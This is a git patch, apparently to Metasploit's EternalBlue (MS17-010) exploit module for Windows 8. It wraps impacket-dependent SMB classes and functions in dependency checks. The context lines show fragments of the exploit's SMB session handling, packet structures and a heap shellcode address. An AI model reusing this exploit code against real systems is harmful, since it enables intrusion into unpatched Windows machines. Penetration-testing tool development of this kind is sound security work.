From 2f40b2cb45fc95d141fd2e772a6823aaf4d19e2e Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Thu, 21 Jun 2018 13:39:43 -0500
Subject: [PATCH] address missed impacket dependency check

---
 .../windows/smb/ms17_010_eternalblue_win8.py  | 41 ++++++++++---------
 1 file changed, 22 insertions(+), 19 deletions(-)

diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py
index eace84644c..1b1a3a0f66 100755
--- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py
+++ b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py
@@ -319,7 +319,8 @@ fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180)  # shellcode addr
 
 def getNTStatus(self):
     return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
-setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
+if not dependencies_missing:
+    setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
 
 def sendEcho(conn, tid, data):
     pkt = smb.NewSMBPacket()
@@ -342,13 +343,14 @@ def sendEcho(conn, tid, data):
 
 
 # override SMB.neg_session() to allow forcing ntlm authentication
-class MYSMB(smb.SMB):
-    def __init__(self, remote_host, use_ntlmv2=True):
-        self.__use_ntlmv2 = use_ntlmv2
-        smb.SMB.__init__(self, remote_host, remote_host)
+if not dependencies_missing:
+    class MYSMB(smb.SMB):
+        def __init__(self, remote_host, use_ntlmv2=True):
+            self.__use_ntlmv2 = use_ntlmv2
+            smb.SMB.__init__(self, remote_host, remote_host)
 
-    def neg_session(self, extended_security = True, negPacket = None):
-        smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
+        def neg_session(self, extended_security = True, negPacket = None):
+            smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
 
 def createSessionAllocNonPaged(target, size, username, password):
     conn = MYSMB(target, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
@@ -412,18 +414,19 @@ def createSessionAllocNonPaged(target, size, username, password):
 
 # Note: impacket-0.9.15 struct has no ParameterDisplacement
 ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
-class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
-    structure = (
-        ('TotalParameterCount','<H=0'),
-        ('TotalDataCount','<H'),
-        ('ParameterCount','<H=0'),
-        ('ParameterOffset','<H=0'),
-        ('ParameterDisplacement','<H=0'),
-        ('DataCount','<H'),
-        ('DataOffset','<H'),
-        ('DataDisplacement','<H=0'),
-        ('FID','<H=0'),
-    )
+if not dependencies_missing:
+    class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
+        structure = (
+            ('TotalParameterCount','<H=0'),
+            ('TotalDataCount','<H'),
+            ('ParameterCount','<H=0'),
+            ('ParameterOffset','<H=0'),
+            ('ParameterDisplacement','<H=0'),
+            ('DataCount','<H'),
+            ('DataOffset','<H'),
+            ('DataDisplacement','<H=0'),
+            ('FID','<H=0'),
+       )
 
 def send_trans2_second(conn, tid, data, displacement):
     pkt = smb.NewSMBPacket()